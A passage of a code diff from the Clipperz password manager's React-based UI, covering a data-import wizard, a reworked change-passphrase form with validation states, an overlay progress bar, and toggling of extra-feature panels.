			||||||
					]);
 | 
					 | 
				
			||||||
				}
 | 
					 | 
				
			||||||
				
 | 
					 | 
				
			||||||
				cellCount++;
 | 
					 | 
				
			||||||
				
 | 
					 | 
				
			||||||
				return result;
 | 
					 | 
				
			||||||
			}, this), this.state.importData.parsedCSV[0])
 | 
					 | 
				
			||||||
		)
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	setStateCB: function(aState) {
 | 
					 | 
				
			||||||
		this.setState(aState);
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	_renderStepMethods: {
 | 
					 | 
				
			||||||
		'input': function() {
 | 
					 | 
				
			||||||
			return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.Input({
 | 
					 | 
				
			||||||
				'importState': this.state,
 | 
					 | 
				
			||||||
				'setImportStateCallback': this.setStateCB,
 | 
					 | 
				
			||||||
				'goToStepCallback': this.goToStep,
 | 
					 | 
				
			||||||
				'extractJsonFromClipperzExportCallback': this.extractJsonFromClipperzExport,
 | 
					 | 
				
			||||||
				'parseJsonCallback': this.parseJson,
 | 
					 | 
				
			||||||
				'parseCsvCallback': this.parseCsv
 | 
					 | 
				
			||||||
			});
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		'csv-columns': function() {
 | 
					 | 
				
			||||||
			return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumns({
 | 
					 | 
				
			||||||
				'importState': this.state,
 | 
					 | 
				
			||||||
				'setImportStateCallback': this.setStateCB,
 | 
					 | 
				
			||||||
				'goToStepCallback': this.goToStep,
 | 
					 | 
				
			||||||
			});
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		'csv-labels': function() {
 | 
					 | 
				
			||||||
			return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvLabels({
 | 
					 | 
				
			||||||
				'importState': this.state,
 | 
					 | 
				
			||||||
				'setImportStateCallback': this.setStateCB,
 | 
					 | 
				
			||||||
				'goToStepCallback': this.goToStep,
 | 
					 | 
				
			||||||
				'csvRenderTheadInputCallback': this.csvRenderTheadInput,
 | 
					 | 
				
			||||||
				'csvRenderTbodyCallback': this.csvRenderTbody,
 | 
					 | 
				
			||||||
				'csvGetColumnLabelsCallback': this.csvGetColumnLabels
 | 
					 | 
				
			||||||
			});
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		'csv-titles': function() {
 | 
					 | 
				
			||||||
			return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvTitles({
 | 
					 | 
				
			||||||
				'importState': this.state,
 | 
					 | 
				
			||||||
				'setImportStateCallback': this.setStateCB,
 | 
					 | 
				
			||||||
				'goToStepCallback': this.goToStep,
 | 
					 | 
				
			||||||
				'csvRenderTheadInputCallback': this.csvRenderTheadInput,
 | 
					 | 
				
			||||||
				'csvRenderTbodyCallback': this.csvRenderTbody,
 | 
					 | 
				
			||||||
			});
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		'csv-notes': function() {
 | 
					 | 
				
			||||||
			return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvNotes({
 | 
					 | 
				
			||||||
				'importState': this.state,
 | 
					 | 
				
			||||||
				'setImportStateCallback': this.setStateCB,
 | 
					 | 
				
			||||||
				'goToStepCallback': this.goToStep,
 | 
					 | 
				
			||||||
				'csvRenderTheadInputCallback': this.csvRenderTheadInput,
 | 
					 | 
				
			||||||
				'csvRenderTbodyCallback': this.csvRenderTbody,
 | 
					 | 
				
			||||||
			});
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		'csv-hidden': function() {
 | 
					 | 
				
			||||||
			return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvHidden({
 | 
					 | 
				
			||||||
				'importState': this.state,
 | 
					 | 
				
			||||||
				'setImportStateCallback': this.setStateCB,
 | 
					 | 
				
			||||||
				'goToStepCallback': this.goToStep,
 | 
					 | 
				
			||||||
				'csvRenderTheadInputCallback': this.csvRenderTheadInput,
 | 
					 | 
				
			||||||
				'csvRenderTbodyCallback': this.csvRenderTbody,
 | 
					 | 
				
			||||||
				'csvToJsonCallback': this.csvToJson
 | 
					 | 
				
			||||||
			});
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		//-------------------------------------------------------------------------
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		'preview': function() {
 | 
					 | 
				
			||||||
			return new Clipperz.PM.UI.Components.ExtraFeatures.DataImport.Preview({
 | 
					 | 
				
			||||||
				'importState': this.state,
 | 
					 | 
				
			||||||
				'resetImportStateCallback': this.resetState,
 | 
					 | 
				
			||||||
				'goToStepCallback': this.goToStep,
 | 
					 | 
				
			||||||
				'isRecordToImportCallback': this.isRecordToImport,
 | 
					 | 
				
			||||||
				'toggleRecordToImportCallback': this.toggleRecordToImport
 | 
					 | 
				
			||||||
			});
 | 
					 | 
				
			||||||
		},
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	//=========================================================================
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	renderStep: function(step) {
 | 
					 | 
				
			||||||
		return MochiKit.Base.method(this, this._renderStepMethods[step])();
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	render: function () {
 | 
					 | 
				
			||||||
		return	React.DOM.div({className:'extraFeature'}, [
 | 
					 | 
				
			||||||
			React.DOM.h1({}, "Import"),
 | 
					 | 
				
			||||||
			this.renderStep(this.state.currentStep)
 | 
					 | 
				
			||||||
		]);
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	//=========================================================================
 | 
					 | 
				
			||||||
});
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImportClass);
 | 
					 | 
				
			||||||
@@ -27,96 +27,103 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures');
 | 
				
			|||||||
Clipperz.PM.UI.Components.ExtraFeatures.PassphraseClass = React.createClass({
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.PassphraseClass = React.createClass({
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	propTypes: {
 | 
						propTypes: {
 | 
				
			||||||
//		featureSet:			React.PropTypes.oneOf(['FULL', 'EXPIRED', 'TRIAL']).isRequired,
 | 
					 | 
				
			||||||
//		'level':	React.PropTypes.oneOf(['hide', 'info', 'warning', 'error']).isRequired
 | 
					 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	getInitialState: function() {
 | 
						getInitialState: function() {
 | 
				
			||||||
		return {
 | 
							return {
 | 
				
			||||||
			'username': '',
 | 
								'username': 'empty',
 | 
				
			||||||
			'old-passphrase': '',
 | 
								'old-passphrase': 'empty',
 | 
				
			||||||
			'new-passphrase': '',
 | 
								'new-passphrase': 'empty',
 | 
				
			||||||
			'confirm-new-passphrase': '',
 | 
								'confirm-new-passphrase': 'empty',
 | 
				
			||||||
			'error': ''
 | 
								'confirm': '',
 | 
				
			||||||
		};
 | 
							};
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	//=========================================================================
 | 
						//=========================================================================
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	shouldEnableChangePassphraseButton: function() {
 | 
						resetForm: function () {
 | 
				
			||||||
		return (
 | 
							this.setState(this.getInitialState());
 | 
				
			||||||
			this.state['username'] && 
 | 
					 | 
				
			||||||
			this.state['old-passphrase'] &&
 | 
					 | 
				
			||||||
			this.state['new-passphrase'] &&
 | 
					 | 
				
			||||||
			this.state['confirm-new-passphrase'] &&
 | 
					 | 
				
			||||||
			(this.state['new-passphrase'] == this.state['confirm-new-passphrase'])
 | 
					 | 
				
			||||||
		);
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
	handleFormChange: function() {
 | 
					 | 
				
			||||||
		this.setState({
 | 
					 | 
				
			||||||
			'username': this.refs['username'].getDOMNode().value,
 | 
					 | 
				
			||||||
			'old-passphrase': this.refs['old-passphrase'].getDOMNode().value,
 | 
					 | 
				
			||||||
			'new-passphrase': this.refs['new-passphrase'].getDOMNode().value,
 | 
					 | 
				
			||||||
			'confirm-new-passphrase': this.refs['confirm-new-passphrase'].getDOMNode().value
 | 
					 | 
				
			||||||
		});
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	handleChangePassphrase: function(event) {
 | 
					 | 
				
			||||||
		event.preventDefault();
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
		if (this.refs['username'].getDOMNode().value != this.props.userInfo['username']) {
 | 
					 | 
				
			||||||
			this.setState({error: "Invalid username"});
 | 
					 | 
				
			||||||
			return;
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		var deferredResult;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		deferredResult = new Clipperz.Async.Deferred("Passphrase.handleChangePassphrase", {trace: false});
 | 
					 | 
				
			||||||
		deferredResult.addCallback(this.props.userInfo['checkPassphraseCallback'], this.refs['old-passphrase'].getDOMNode().value);
 | 
					 | 
				
			||||||
		deferredResult.addIf(
 | 
					 | 
				
			||||||
			[
 | 
					 | 
				
			||||||
				MochiKit.Base.partial(MochiKit.Signal.signal, Clipperz.Signal.NotificationCenter, 'changePassphrase', this.refs['new-passphrase'].getDOMNode().value),
 | 
					 | 
				
			||||||
				MochiKit.Base.method(this, function() {
 | 
					 | 
				
			||||||
		this.refs['username'].getDOMNode().value = '';
 | 
							this.refs['username'].getDOMNode().value = '';
 | 
				
			||||||
		this.refs['old-passphrase'].getDOMNode().value = '';
 | 
							this.refs['old-passphrase'].getDOMNode().value = '';
 | 
				
			||||||
		this.refs['new-passphrase'].getDOMNode().value = '';
 | 
							this.refs['new-passphrase'].getDOMNode().value = '';
 | 
				
			||||||
		this.refs['confirm-new-passphrase'].getDOMNode().value = '';
 | 
							this.refs['confirm-new-passphrase'].getDOMNode().value = '';
 | 
				
			||||||
					this.setState({'error': ''});
 | 
							this.refs['confirm'].getDOMNode().checked = false;
 | 
				
			||||||
				})
 | 
						},
 | 
				
			||||||
			],
 | 
					
 | 
				
			||||||
			[MochiKit.Base.bind(this.setState, this, {error: "Invalid password"})]
 | 
						handleChangePassphrase: function(event) {
 | 
				
			||||||
		);
 | 
							var	newPassphrase;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							event.preventDefault();
 | 
				
			||||||
 | 
							newPassphrase = this.refs['new-passphrase'].getDOMNode().value;
 | 
				
			||||||
 | 
							this.resetForm();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'changePassphrase', newPassphrase);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						handleFormChange: function() {
 | 
				
			||||||
 | 
							var deferredResult;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							deferredResult = new Clipperz.Async.Deferred("Passphrase.handleFormChange", {trace: false});
 | 
				
			||||||
 | 
							deferredResult.addCallback(this.props.userInfo['checkPassphraseCallback'], this.refs['old-passphrase'].getDOMNode().value);
 | 
				
			||||||
 | 
							deferredResult.addMethod(this, function(passCheck){
 | 
				
			||||||
 | 
								var username = this.refs['username'].getDOMNode().value;
 | 
				
			||||||
 | 
								var oldPassphrase = this.refs['old-passphrase'].getDOMNode().value;
 | 
				
			||||||
 | 
								var newPassphrase = this.refs['new-passphrase'].getDOMNode().value;
 | 
				
			||||||
 | 
								var confirmNewPassphrase = this.refs['confirm-new-passphrase'].getDOMNode().value;
 | 
				
			||||||
 | 
								
 | 
				
			||||||
 | 
								this.setState({
 | 
				
			||||||
 | 
									'username': (username != '') ? [(username == this.props.userInfo['username']) ? 'valid' : 'invalid'] : 'empty',
 | 
				
			||||||
 | 
									'old-passphrase': (oldPassphrase != '') ? [(passCheck) ? 'valid' : 'invalid'] : 'empty',
 | 
				
			||||||
 | 
									'new-passphrase': (newPassphrase != '') ? 'valid' : 'empty',
 | 
				
			||||||
 | 
									'confirm-new-passphrase': (confirmNewPassphrase != '') ? [(confirmNewPassphrase == newPassphrase) ? 'valid' : 'invalid'] : 'empty',
 | 
				
			||||||
 | 
									'confirm': this.refs['confirm'].getDOMNode().checked,
 | 
				
			||||||
 | 
								});
 | 
				
			||||||
 | 
							});
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		deferredResult.callback();
 | 
							deferredResult.callback();
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		return deferredResult;
 | 
							return deferredResult;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
//		MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'changePassphrase', this.refs['new-passphrase'].getDOMNode().value);
 | 
						shouldEnableChangePassphraseButton: function() {
 | 
				
			||||||
 | 
							return (
 | 
				
			||||||
 | 
								this.state['username'] == 'valid' &&
 | 
				
			||||||
 | 
								this.state['old-passphrase'] == 'valid' &&
 | 
				
			||||||
 | 
								this.state['new-passphrase'] == 'valid' &&
 | 
				
			||||||
 | 
								this.state['confirm-new-passphrase'] == 'valid' &&
 | 
				
			||||||
 | 
								this.state['confirm']
 | 
				
			||||||
 | 
							);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	//=========================================================================
 | 
						//=========================================================================
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	render: function () {
 | 
						render: function () {
 | 
				
			||||||
		var errorVisibility = (this.state.error) ? 'visible' : 'hidden';
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		return	React.DOM.div({className:'extraFeature passphrase'}, [
 | 
							return	React.DOM.div({className:'extraFeature passphrase'}, [
 | 
				
			||||||
			React.DOM.h1({}, "Change Passphrase"),
 | 
								React.DOM.h1({}, "Change Passphrase"),
 | 
				
			||||||
 | 
								React.DOM.div({'className': 'content'}, [
 | 
				
			||||||
				React.DOM.form({'key':'form', 'className':'changePassphraseForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleChangePassphrase}, [
 | 
									React.DOM.form({'key':'form', 'className':'changePassphraseForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleChangePassphrase}, [
 | 
				
			||||||
					React.DOM.div({'key':'fields'},[
 | 
										React.DOM.div({'key':'fields'},[
 | 
				
			||||||
						React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
 | 
											React.DOM.label({'key':'username-label', 'htmlFor' :'name'}, "username"),
 | 
				
			||||||
					React.DOM.input({'key':'username', 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
 | 
											React.DOM.input({'key':'username', 'className':this.state['username'], 'type':'text', 'name':'name', 'ref':'username', 'placeholder':"username", 'autoCapitalize':'none'}),
 | 
				
			||||||
 | 
					
 | 
				
			||||||
						React.DOM.label({'key':'old-passphrase-label', 'htmlFor' :'old-passphrase'}, "old passphrase"),
 | 
											React.DOM.label({'key':'old-passphrase-label', 'htmlFor' :'old-passphrase'}, "old passphrase"),
 | 
				
			||||||
					React.DOM.input({'key':'old-passphrase', 'type':'password', 'name':'old-passphrase', 'ref':'old-passphrase', 'placeholder':"old passphrase"}),
 | 
											React.DOM.input({'key':'old-passphrase', 'className':this.state['old-passphrase'], 'type':'password', 'name':'old-passphrase', 'ref':'old-passphrase', 'placeholder':"old passphrase"}),
 | 
				
			||||||
 | 
					
 | 
				
			||||||
						React.DOM.label({'key':'new-passphrase-label', 'autoFocus': 'true', 'htmlFor' :'new-passphrase'}, "new passphrase"),
 | 
											React.DOM.label({'key':'new-passphrase-label', 'autoFocus': 'true', 'htmlFor' :'new-passphrase'}, "new passphrase"),
 | 
				
			||||||
					React.DOM.input({'key':'new-passphrase', 'type':'password', 'name':'new-passphrase', 'ref':'new-passphrase', 'placeholder':"new passphrase"}),
 | 
											React.DOM.input({'key':'new-passphrase', 'className':this.state['new-passphrase'], 'type':'password', 'name':'new-passphrase', 'ref':'new-passphrase', 'placeholder':"new passphrase"}),
 | 
				
			||||||
 | 
					
 | 
				
			||||||
						React.DOM.label({'key':'confirm-new-passphrase-label', 'htmlFor' :'confirm-new-passphrase'}, "confirm new passphrase"),
 | 
											React.DOM.label({'key':'confirm-new-passphrase-label', 'htmlFor' :'confirm-new-passphrase'}, "confirm new passphrase"),
 | 
				
			||||||
					React.DOM.input({'key':'confirm-new-passphrase', 'type':'password', 'name':'confirm-new-passphrase', 'ref':'confirm-new-passphrase', 'placeholder':"confirm new passphrase"})
 | 
											React.DOM.input({'key':'confirm-new-passphrase', 'className':this.state['confirm-new-passphrase'], 'type':'password', 'name':'confirm-new-passphrase', 'ref':'confirm-new-passphrase', 'placeholder':"confirm new passphrase"}),
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
											React.DOM.p({}, [
 | 
				
			||||||
 | 
												React.DOM.input({'key':'confirm', 'className':'confirmCheckbox', 'type':'checkbox', 'name':'confirm', 'ref':'confirm'}),
 | 
				
			||||||
 | 
												React.DOM.span({}, "I understand that Clipperz will not be able to recover a lost passphrase.")
 | 
				
			||||||
						]),
 | 
											]),
 | 
				
			||||||
				React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableChangePassphraseButton(), 'className':'button'}, "Change"),
 | 
					 | 
				
			||||||
				React.DOM.div({ref: 'errorMessage', className: 'errorMessage', style: {visibility: errorVisibility} }, this.state.error)
 | 
					 | 
				
			||||||
					]),
 | 
										]),
 | 
				
			||||||
 | 
										React.DOM.button({'key':'button', 'type':'submit', 'disabled':!this.shouldEnableChangePassphraseButton(), 'className':'button'}, "Change passphrase"),
 | 
				
			||||||
 | 
									])
 | 
				
			||||||
 | 
								])
 | 
				
			||||||
		]);
 | 
							]);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -53,11 +53,15 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
	//-------------------------------------------------------------------------
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	'show': function (aMessage, showMask) {
 | 
						'show': function (aMessage, showMask, showProgress) {
 | 
				
			||||||
		if (showMask === true) {
 | 
							if (showMask === true) {
 | 
				
			||||||
			this.showMask();
 | 
								this.showMask();
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (showProgress === true) {
 | 
				
			||||||
 | 
								this.showProgressBar();
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		this.resetStatus();
 | 
							this.resetStatus();
 | 
				
			||||||
		this.setMessage(aMessage);
 | 
							this.setMessage(aMessage);
 | 
				
			||||||
		MochiKit.DOM.removeElementClass(this.element(), 'ios-overlay-hide');
 | 
							MochiKit.DOM.removeElementClass(this.element(), 'ios-overlay-hide');
 | 
				
			||||||
@@ -66,6 +70,7 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
 | 
				
			|||||||
	
 | 
						
 | 
				
			||||||
	'done': function (aMessage, aDelayBeforeHiding) {
 | 
						'done': function (aMessage, aDelayBeforeHiding) {
 | 
				
			||||||
		this.hideMask();
 | 
							this.hideMask();
 | 
				
			||||||
 | 
							this.hideProgressBar();
 | 
				
			||||||
		this.completed(this.showDoneIcon, aMessage, aDelayBeforeHiding);
 | 
							this.completed(this.showDoneIcon, aMessage, aDelayBeforeHiding);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
@@ -109,14 +114,15 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
 | 
				
			|||||||
		MochiKit.Base.bind(aFunctionToShowResult, this)();
 | 
							MochiKit.Base.bind(aFunctionToShowResult, this)();
 | 
				
			||||||
		this.setMessage(aMessage);
 | 
							this.setMessage(aMessage);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		MochiKit.Async.callLater(delay, MochiKit.Base.bind(this.hide, this))
 | 
							return MochiKit.Async.callLater(delay, MochiKit.Base.bind(this.hide, this))
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	'hide': function () {
 | 
						'hide': function () {
 | 
				
			||||||
		var element = this.element();
 | 
							var element = this.element();
 | 
				
			||||||
 | 
							this.hideProgressBar();
 | 
				
			||||||
		MochiKit.DOM.removeElementClass(element, 'ios-overlay-show');
 | 
							MochiKit.DOM.removeElementClass(element, 'ios-overlay-show');
 | 
				
			||||||
		MochiKit.DOM.addElementClass(element, 'ios-overlay-hide');
 | 
							MochiKit.DOM.addElementClass(element, 'ios-overlay-hide');
 | 
				
			||||||
		MochiKit.Async.callLater(1, MochiKit.Style.hideElement, element);
 | 
							return MochiKit.Async.callLater(1, MochiKit.Style.hideElement, element);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	'hideSpinner': function () {
 | 
						'hideSpinner': function () {
 | 
				
			||||||
@@ -133,6 +139,21 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
 | 
				
			|||||||
	
 | 
						
 | 
				
			||||||
	//-------------------------------------------------------------------------
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'showProgressBar': function () {
 | 
				
			||||||
 | 
							MochiKit.Style.showElement(this.getElement('progressBar'));
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'hideProgressBar': function () {
 | 
				
			||||||
 | 
							MochiKit.Style.hideElement(this.getElement('progressBar'));
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						'updateProgress': function (aProgressPercentage) {
 | 
				
			||||||
 | 
							MochiKit.Style.setElementDimensions(this.getElement('progress'), {'w': aProgressPercentage}, '%');
 | 
				
			||||||
 | 
					//console.log("OVERLAY - updating progress: " + aProgressPercentage + "%");
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	'defaultDelay': function () {
 | 
						'defaultDelay': function () {
 | 
				
			||||||
		return this._defaultDelay;
 | 
							return this._defaultDelay;
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -49,7 +49,9 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
 | 
				
			|||||||
				'subscription':	false,
 | 
									'subscription':	false,
 | 
				
			||||||
				'data':			false,
 | 
									'data':			false,
 | 
				
			||||||
			},
 | 
								},
 | 
				
			||||||
			'isFullyOpen':	false
 | 
								'isFullyOpen':	false,
 | 
				
			||||||
 | 
								'extraFeatureComponentName': null,
 | 
				
			||||||
 | 
								'extraFeatureContent': null
 | 
				
			||||||
		};
 | 
							};
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -68,13 +70,13 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
	//=========================================================================
 | 
						//=========================================================================
 | 
				
			||||||
 | 
					
 | 
				
			||||||
//	showDevicePin: function () {
 | 
						toggleExtraFeatureComponent: function (aComponentName) {
 | 
				
			||||||
//		this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures.DevicePIN());
 | 
					 | 
				
			||||||
//	},
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	showExtraFeatureComponent: function (aComponentName) {
 | 
					 | 
				
			||||||
		return MochiKit.Base.bind(function () {
 | 
							return MochiKit.Base.bind(function () {
 | 
				
			||||||
			this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures[aComponentName]);
 | 
								if (this.state['extraFeatureComponentName'] != aComponentName) {
 | 
				
			||||||
 | 
									this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures[aComponentName], aComponentName);
 | 
				
			||||||
 | 
								} else {
 | 
				
			||||||
 | 
									this.hideExtraFeatureContent();
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
		}, this);
 | 
							}, this);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -85,18 +87,19 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
 | 
				
			|||||||
	//-------------------------------------------------------------------------
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	hideExtraFeatureContent: function () {
 | 
						hideExtraFeatureContent: function () {
 | 
				
			||||||
		this.setState({'isFullyOpen':false});
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	showExtraFeatureContent: function (aComponent) {
 | 
					 | 
				
			||||||
		this.setState({
 | 
							this.setState({
 | 
				
			||||||
			'isFullyOpen':true,
 | 
								'isFullyOpen': false,
 | 
				
			||||||
			'extraFeatureContent': aComponent(this.extraFeaturesProps())
 | 
								'extraFeatureComponentName': null,
 | 
				
			||||||
 | 
								'extraFeatureContent': null
 | 
				
			||||||
		});
 | 
							});
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	toggleExtraFeatureContent: function () {
 | 
						showExtraFeatureContent: function (aComponent, aComponentName) {
 | 
				
			||||||
		this.setState({'isFullyOpen':!this.state['isFullyOpen']});
 | 
							this.setState({
 | 
				
			||||||
 | 
								'isFullyOpen':true,
 | 
				
			||||||
 | 
								'extraFeatureComponentName': aComponentName,
 | 
				
			||||||
 | 
								'extraFeatureContent': aComponent(this.extraFeaturesProps())
 | 
				
			||||||
 | 
							});
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	//=========================================================================
 | 
						//=========================================================================
 | 
				
			||||||
@@ -119,10 +122,10 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
 | 
				
			|||||||
					React.DOM.li({'key':'account', 'className':this.state['index']['account'] ? 'open' : 'closed'}, [
 | 
										React.DOM.li({'key':'account', 'className':this.state['index']['account'] ? 'open' : 'closed'}, [
 | 
				
			||||||
						React.DOM.h1({'key':'accountH1', 'onClick':this.toggleIndexState('account')}, "Account"),
 | 
											React.DOM.h1({'key':'accountH1', 'onClick':this.toggleIndexState('account')}, "Account"),
 | 
				
			||||||
						React.DOM.ul({'key':'accountUL'}, [
 | 
											React.DOM.ul({'key':'accountUL'}, [
 | 
				
			||||||
							React.DOM.li({'key':'account_1', 'onClick':this.showExtraFeatureComponent('Passphrase')}, [
 | 
												React.DOM.li({'key':'account_1', 'onClick':this.toggleExtraFeatureComponent('Passphrase'), 'className':(this.state['extraFeatureComponentName'] == 'Passphrase') ? 'selected' : ''}, [
 | 
				
			||||||
								React.DOM.h2({'key':'account_1_h2'}, "Passphrase"),
 | 
													React.DOM.h2({'key':'account_1_h2'}, "Passphrase"),
 | 
				
			||||||
								React.DOM.div({'key':'account_1_div'}, [
 | 
													React.DOM.div({'key':'account_1_div'}, [
 | 
				
			||||||
									React.DOM.p({'key':'account_1_p'}, "")
 | 
														React.DOM.p({'key':'account_1_p'}, "Change your account passphrase.")
 | 
				
			||||||
								])
 | 
													])
 | 
				
			||||||
							]),
 | 
												]),
 | 
				
			||||||
							React.DOM.li({'key':'account_2'}, [
 | 
												React.DOM.li({'key':'account_2'}, [
 | 
				
			||||||
@@ -131,7 +134,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
 | 
				
			|||||||
									React.DOM.p({}, "")
 | 
														React.DOM.p({}, "")
 | 
				
			||||||
								])
 | 
													])
 | 
				
			||||||
							]),
 | 
												]),
 | 
				
			||||||
							React.DOM.li({'key':'account_3', 'onClick':this.showExtraFeatureComponent('DevicePIN')}, [
 | 
												React.DOM.li({'key':'account_3', 'onClick':this.toggleExtraFeatureComponent('DevicePIN')}, [
 | 
				
			||||||
								React.DOM.h2({}, "Device PIN"),
 | 
													React.DOM.h2({}, "Device PIN"),
 | 
				
			||||||
								React.DOM.div({}, [
 | 
													React.DOM.div({}, [
 | 
				
			||||||
									React.DOM.p({}, "Configure a PIN that will allow to get access to your cards, but only on this device.")
 | 
														React.DOM.p({}, "Configure a PIN that will allow to get access to your cards, but only on this device.")
 | 
				
			||||||
@@ -143,10 +146,10 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
 | 
				
			|||||||
									React.DOM.p({}, "")
 | 
														React.DOM.p({}, "")
 | 
				
			||||||
								])
 | 
													])
 | 
				
			||||||
							]),
 | 
												]),
 | 
				
			||||||
							React.DOM.li({'key':'account_5', 'onClick':this.showExtraFeatureComponent('DeleteAccount')}, [
 | 
